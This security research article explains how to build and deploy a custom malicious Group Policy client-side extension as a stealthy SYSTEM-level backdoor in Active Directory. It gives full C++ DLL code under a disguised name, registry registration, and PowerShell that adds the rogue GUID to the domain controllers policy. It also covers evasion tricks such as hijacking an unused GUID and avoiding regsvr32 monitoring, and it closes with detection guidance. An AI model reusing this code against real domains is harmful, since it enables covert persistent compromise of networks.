Crucial for applying Active Directory Group Policy Objects, client-side extensions (CSEs) are powerful but also present a significant, often overlooked, attack vector for persistent backdoors. Rather than cover well-documented common abuses of built-in CSEs, this article demonstrates how to create custom malicious ones. These are harder for defenders to identify than legitimate built-in CSEs used in malicious contexts, which have known globally unique identifiers.
Group Policy Objects (GPOs), a core feature of Active Directory (AD), allow administrators to centrally manage and configure operating systems, applications and user settings across all computers in a domain by configuring a set of rules and configurations.
(Source: Microsoft)
It is well-known that attackers with sufficient AD access can abuse GPOs for malicious actions like code execution, malware deployment, immediate scheduled tasks, privilege escalation, and stealthy persistence establishment; these techniques are generally well-documented.
Each GPO comprises two main parts:
Have you ever wondered how the settings defined in a GPO actually get applied on a client computer? The magic behind this process lies in the CSEs.
CSEs are critical components that enable GPOs to apply specific settings such as software installation, registry edits, folder redirection, scheduled tasks, or Internet / power options and more to client machines.
While Group Policy defines and distributes configuration policies across the network, it’s the CSE on the client side that interprets and enforces these policies. Each CSE is essentially a dynamic link library (DLL) file on the client Windows machine responsible for processing a particular type of Group Policy setting. When a computer processes GPOs, its Group Policy engine reads the policies and invokes the relevant CSEs to effectively apply the settings.
The successful application of settings from a specific Group Policy area relies on the correct handling of CSEs. Even if a GPO is properly linked and the user/machine is included in the security filter, the settings it contains may fail to apply under two key conditions related to CSEs:
Therefore, both the local CSE availability and its correct reference within the GPO’s attributes are mandatory.
Every CSE is uniquely identified by a Globally Unique Identifier (GUID). This GUID acts as the registration key and the link between the policy settings defined in the GPO and the processing logic (the DLL) on the client.
While official Microsoft documentation mentions some CSEs, the list is incomplete. A more complete list can be found online. Also, the following PowerShell command can be executed on your machine to list them:
Get-ChildItem "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions" |
Select-Object @{Name='GUID';Expression={$_.PSChildName}}, @{Name='Name';Expression={$_.GetValue('')}}
CSEs are registered in the registry under the following path:
HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions
On the left, under the GPExtensions key, you will find multiple subkeys, each named with the GUID of a specific CSE. The settings of each of them are defined on the right.
Here are some important settings to be aware of:
For detailed information on other functionalities, please consult the official Microsoft documentation on Creating a Policy Callback Function.
When you configure settings within a specific GPO using the Group Policy Management Editor, the tool records which types of settings you've configured and the necessary CSEs. It does this by storing the GUIDs of these CSEs within attributes of the GPC object in AD.
Specifically, you need to look at these two attributes on the GPC object:
The expected format is the concatenation of the GUIDs:
[<CSE GUID1><TOOL GUID1>][<CSE GUID2><TOOL GUID2>] etc.
For example, if we analyze the gPCMachineExtensionNames attribute of the “Default Domain Policy” shown above, we can see that the first part of each GUID-pair in the screenshot above can be identified as a CSE:
Note: CSE GUIDs within Group Policy attributes, such as gPCMachineExtensionNames, must be sorted in case-insensitive ascending order. If this order is not maintained, CSEs risk being ignored during Group Policy processing.
The first GUID relates to the CSE function, and the second GUID in the pair is not important for today. For deeper GPO auditing insights, see Aurélien Bordes' 2019 SSTIC paper.
Articles discussing the malicious use of CSEs in AD often highlight two themes: the potential for red teams to abuse specific well-known CSEs, and the corresponding need for blue teams to track their execution. For instance:
Surprisingly, public methods or articles explaining how to abuse custom CSEs for this persistence method seem absent, especially given that Microsoft explains the CSE creation process itself. This obscurity is valuable to an attacker, offering inherent discretion through an unknown CSE GUID, plus the benefit of SYSTEM code execution capability.
Let's proceed by creating a custom CSE to explore different ways attackers might leverage it for malicious purposes.
We will use Visual Studio to create a custom CSE DLL with the friendly name “Group Policy Shell Configuration” and filename advshcore.dll (using base advshcore to appear inconspicuous in the System32 Windows folder). Create a new DLL project, name it “RogueCSE,” and click “Create” to begin.
In your project, create advshcore.def and add this content:
LIBRARY "advshcore"
EXPORTS
ProcessGroupPolicy
DllRegisterServer PRIVATE
DllUnregisterServer PRIVATE
In dllmain.cpp, now add the necessary includes, defines, and variables functions:
#include "pch.h"
#include <userenv.h> // For Group Policy API
#include <stdio.h>
#include <tchar.h>
#define ROGUECSE_PATH TEXT("Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\GPExtensions\\{54a88399-50b3-4f44-8fe4-373fc441a1ac}")
#define ROGUECSE_NAME TEXT("Group Policy Shell Configuration") // Fake name for the CSE
// GUID for the custom CSE - could be any GUID
// {54a88399-50b3-4f44-8fe4-373fc441a1ac}
const GUID CSE_GUID =
{ 0x54a88399, 0x50b3, 0x4f44, { 0x8f, 0xe4, 0x37, 0x3f, 0xc4, 0x41, 0xa1, 0xac } };
Implement the DllMain function as follows:
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
DisableThreadLibraryCalls(hModule);
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Next, two helper functions are created. The first, a simple logger, proves privileged SYSTEM code execution by writing to a file. Though this example is benign, attackers could substitute malicious code, such as for a reverse shell, C2 agent, or NTDS.dit exfiltration to a public share.
void LogToFile(const TCHAR* pszMessage)
{
FILE* pFile = NULL;
_tfopen_s(&pFile, TEXT("C:\\RogueCSE.log"), TEXT("a+, ccs=UTF-8"));
if (pFile)
{
SYSTEMTIME st;
GetLocalTime(&st);
_ftprintf(pFile, TEXT("[%02d/%02d/%04d %02d:%02d:%02d] %s\n"),
st.wMonth, st.wDay, st.wYear, st.wHour, st.wMinute, st.wSecond, pszMessage);
fclose(pFile);
}
}
Next, a function logs the execution context:
void LogExecutionContext()
{
// Get process information
DWORD processId = GetCurrentProcessId();
TCHAR processPath[MAX_PATH] = { 0 };
DWORD processPathSize = GetModuleFileName(NULL, processPath, ARRAYSIZE(processPath));
TCHAR* processName = processPath;
for (TCHAR* p = processPath; *p; p++)
{
if (*p == TEXT('\\') || *p == TEXT('/'))
processName = p + 1;
}
TCHAR buffer[512];
if (processPathSize > 0)
{
_stprintf_s(buffer, ARRAYSIZE(buffer),
TEXT("DLL loaded by process: %s (PID: %lu)"),
processName, processId);
}
else
{
_stprintf_s(buffer, ARRAYSIZE(buffer),
TEXT("DLL loaded by process with PID: %lu (couldn't get name, error: %lu)"),
processId, GetLastError());
}
LogToFile(buffer);
// Get the current user
TCHAR username[256] = { 0 };
DWORD usernameSize = ARRAYSIZE(username);
if (GetUserName(username, &usernameSize))
{
TCHAR buffer[512] = { 0 };
_stprintf_s(buffer, 512, TEXT("DLL running under user: %s"), username);
LogToFile(buffer);
}
else
{
DWORD error = GetLastError();
TCHAR buffer[512] = { 0 };
_stprintf_s(buffer, 512, TEXT("Failed to get username, error code: %d"), error);
LogToFile(buffer);
}
}
We will now follow Microsoft's guidance for custom CSEs, implementing only the exported ProcessGroupPolicy function with minimal content for our test.
DWORD CALLBACK ProcessGroupPolicy(
DWORD dwFlags,
HANDLE hToken,
HKEY hKeyRoot,
PGROUP_POLICY_OBJECT pDeletedGPOList,
PGROUP_POLICY_OBJECT pChangedGPOList,
ASYNCCOMPLETIONHANDLE pHandle,
BOOL* pbAbort,
PFNSTATUSMESSAGECALLBACK pStatusCallback)
{
// Log that the CSE was called
LogToFile(TEXT("ProcessGroupPolicy called"));
// Log both process and user information
LogExecutionContext();
// Check if machine or user policy is being processed
if (dwFlags & GPO_INFO_FLAG_MACHINE)
{
LogToFile(TEXT("Processing machine policy"));
}
else
{
LogToFile(TEXT("Processing user policy"));
}
return ERROR_SUCCESS;
}
And that’s it, we have all the minimum requirements for our own CSE.
An extension can be registered here either manually or automatically:
The automatic method requires “DllRegisterServer” and “DllUnregisterServer” to manage the following registry keys:
/////////////////////////////////////////////////////////////////////////////
// Register the CSE in the registry
STDAPI DllRegisterServer(void)
{
HKEY hKey;
LONG lResult;
DWORD dwDisp, dwValue;
lResult = RegCreateKeyEx(HKEY_LOCAL_MACHINE, ROGUECSE_PATH, 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL,
&hKey, &dwDisp);
if (lResult != ERROR_SUCCESS)
{
return lResult;
}
RegSetValueEx(hKey, NULL, 0, REG_SZ, (LPBYTE)ROGUECSE_NAME,
(lstrlen(ROGUECSE_NAME) + 1) * sizeof(TCHAR));
RegSetValueEx(hKey, TEXT("ProcessGroupPolicy"), 0, REG_SZ, (LPBYTE)TEXT("ProcessGroupPolicy"),
(lstrlen(TEXT("ProcessGroupPolicy")) + 1) * sizeof(TCHAR));
RegSetValueEx(hKey, TEXT("DllName"), 0, REG_EXPAND_SZ, (LPBYTE)TEXT("advshcore.dll"),
(lstrlen(TEXT("advshcore.dll")) + 1) * sizeof(TCHAR));
dwValue = 0;
RegSetValueEx(hKey, TEXT("NoGPOListChanges"), 0, REG_DWORD, (LPBYTE)&dwValue,
sizeof(dwValue));
RegCloseKey(hKey);
lResult = RegCreateKeyEx(HKEY_LOCAL_MACHINE, TEXT("SYSTEM\\CurrentControlSet\\Services\\EventLog\\Application\\advshcore"), 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL,
&hKey, &dwDisp);
if (lResult != ERROR_SUCCESS)
{
return lResult;
}
RegSetValueEx(hKey, TEXT("EventMessageFile"), 0, REG_SZ, (LPBYTE)TEXT("advshcore.dll"),
(lstrlen(TEXT("advshcore.dll")) + 1) * sizeof(TCHAR));
dwValue = 7;
RegSetValueEx(hKey, TEXT("TypesSupported"), 0, REG_DWORD, (LPBYTE)&dwValue,
sizeof(dwValue));
RegCloseKey(hKey);
return S_OK;
}
// Removes CSE from the registry
STDAPI DllUnregisterServer(void)
{
RegDeleteKey(HKEY_LOCAL_MACHINE, ROGUECSE_PATH);
RegDeleteKey(HKEY_LOCAL_MACHINE, TEXT("SYSTEM\\CurrentControlSet\\Services\\EventLog\\Application\\advshcore"));
return S_OK;
}
The Solution Explorer should now show the project like this:
RogueCSE
├── References
├── External Dependencies
├── Header Files
├── Resource Files
├── Source Files
│ ├── advshcore.def
│ ├── dllmain.cpp
│ └── pch.cpp
Before building, change the Visual Studio solution configuration to Release (x64) from its Debug (x64) default using the toolbar's dropdown menu. Then:
Recall that this technique represents a novel persistence method, effectively creating a backdoor in the domain on targeted workstations and servers. For this example scenario, assume an attacker gains sufficient privileges (e.g., Domain Admins) to access and operate on a domain controller.
On the compromised domain controller, the attacker would then perform these steps:
regsvr32 "advshcore.dll"
A confirmation will be displayed indicating that the DLL registration succeeded.
You can verify in the registry that the custom CSE has been registered correctly.
As explained at the beginning of this article, a GPO only loads CSEs whose GUIDs are listed in its gPCMachineExtensionNames or gPCUserExtensionNames attributes. Therefore, to enable our custom CSE, we must now add its GUID to the gPCMachineExtensionNames attribute of the target GPO.
We can use the following PowerShell code to perform this update:
# Get the Default Domain Controllers Policy by its well-known GPO GUID
$GPOdn = "CN={6AC1786C-016F-11D2-945F-00C04FB984F9},CN=Policies," + (Get-ADDomain).SystemsContainer
$CurrentExtensions = Get-ADObject -Identity $GPOdn -Properties gPCMachineExtensionNames |
Select-Object -ExpandProperty gPCMachineExtensionNames
# The second GUID can be a NULL GUID as Microsoft suggests "Vendors can specify a NULL GUID for the tool extension GUID"
(https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-gpol/b4e136b5-5f8f-41dd-9f16-77cf19854e76)
# or anything (cf. "What do CSEs look like in a GPO?" section)
$CustomCSE =
"[{54a88399-50b3-4f44-8fe4-373fc441a1ac}{00000000-0000-0000-0000-000000000000}]"
if (-not ($CurrentExtensions.Contains($CustomCSE))) {
$NewExtensions = $CustomCSE + $CurrentExtensions
Set-ADObject -Identity $GPOdn -Replace @{gPCMachineExtensionNames = $NewExtensions}
Write-Host "Successfully added custom CSE to Default Domain Controllers Policy"
}
Next, either wait for the Group Policy refresh cycle, which typically takes about five minutes on domain controllers, or trigger an immediate update by running gpupdate /force on the test domain controller.
After the policy refresh, verify that the C:\RogueCSE.log file has been created with content like:
Note that the custom code within the CSE DLL runs in the Group Policy Client service context (GPSVC) and with highly privileged SYSTEM permissions.
Observing the log file over time confirms that the custom CSE code executes during each Group Policy refresh cycle. On the domain controller, this refresh occurs at the short interval mentioned earlier of around 5 minutes. This persistence method also works on member machines, although their default refresh interval is significantly longer – approximately 90 minutes, plus a random offset.
In summary, a custom CSE, advshcore.dll, was successfully deployed to a DC, demonstrating basic logging. This served as a proof-of-concept but also highlighted significant abuse potential. Adversaries could exploit Group Policy infrastructure for stealthy communication channels or persistent backdoors. Leveraging native OS features instead of external malicious tools makes this technique difficult to detect through forensic analysis or threat identification. This underscores the vital need for vigilant monitoring and strict security controls for GPOs and CSEs in AD environments.
With the fundamental steps covered, let's consider broader application. An attacker with domain privileges (e.g., Domain Admin) could propagate this CSE-based persistence across the network.
To distribute the payload, the attacker might place the DLL in an inconspicuous SYSVOL location like \\SYSVOL\<domain_name>\scripts\SecurityProviders, making it domain-accessible. We will now explore various approaches, analyzing their strengths and weaknesses.
To ensure reliable deployment, especially for intermittently connected endpoints, attackers might use Files Group Policy Preference to copy the custom CSE DLL locally, allowing its registry path to point to this local file. A GPO, often using a startup script, can then register this local CSE. Its gPCMachineExtensionNames attribute must also be updated with the GUIDs of any required built-in CSEs and the custom one.
Although robust, this deployment method increases detectability due to significant GPO changes and the typical use of known CSEs for payload delivery, a pattern often monitored. Detecting such activity can involve Windows Event Log analysis, including:
Security Event ID 5145: Monitor this event to detect write access to the SYSVOL share. This can identify when the malicious DLL is written, or when files related to Group Policy settings for Files Preferences, Scheduled Tasks, or Startup Scripts are created or modified within SYSVOL.
Note: The discussed large-scale deployment methods using common Group Policy features (Files GPP, Scripts, Scheduled Tasks) often trigger blue team alerts.
Alternatively, a custom CSE DLL can be hosted on a network share, instead of being copied locally, and loaded via its registered network path. For our straightforward example, SYSVOL will serve as this share, and the DLL's registered path will point there.
PowerShell cmdlets like New-ItemProperty offer an alternative to regsvr32.exe for CSE DLL registration, potentially bypassing common monitoring of regsvr32 (documented by the MITRE ATT&CK T1218.010). This remote-scriptable method lacks GPO-based persistence – the backdoor won't be reapplied by GPO if altered – but offers stealth: a GPO attribute having only a custom GUID might bypass certain defenses.
GUID hijacking is another stealthy approach: attackers redirect an unused legitimate CSE's registered DLL path to a malicious one. Adding this compromised but valid-looking GUID to a GPO can bypass defenses that only check GUIDs, not DLL paths.
These examples show custom malicious CSEs' covert potential.
Abusing custom CSEs can create stealthy backdoors into AD environments. Attackers can deploy custom DLLs and register them as CSEs, and then manipulate GPOs to load these malicious extensions. This technique leverages trusted Windows components, making it difficult to detect using standard security measures.
Traditional detections often focus on famously abused CSEs, such as those for Scheduled Tasks or Startup Scripts. However, registering and deploying a custom CSE can be achieved without these easily identifiable actions, bypassing common alerts. Techniques like hosting the DLL on a network share and directly modifying the registry can further reduce detectability, though these methods might trade off reliability. Alternatively, hijacking an unused built-in CSE GUID and altering its DLL path can be a particularly evasive strategy.
While the initial registration of a custom CSE can be detected, once the backdoor is configured within a GPO, identifying it becomes challenging. The CSE code runs with SYSTEM privileges during each Group Policy refresh cycle, offering persistent and potentially long-term control to an attacker. This highlights the importance of rigorously monitoring CSE registrations and GPO modifications, as well as examining event logs for unexpected activity related to Group Policy Client Service (GPSVC) and changes in the gPCMachineExtensionNames attribute. Regularly checking for custom CSEs as Tenable Identity Exposure does through the GPO Execution Sanity Indicator of Exposure is essential for securing Active Directory environments.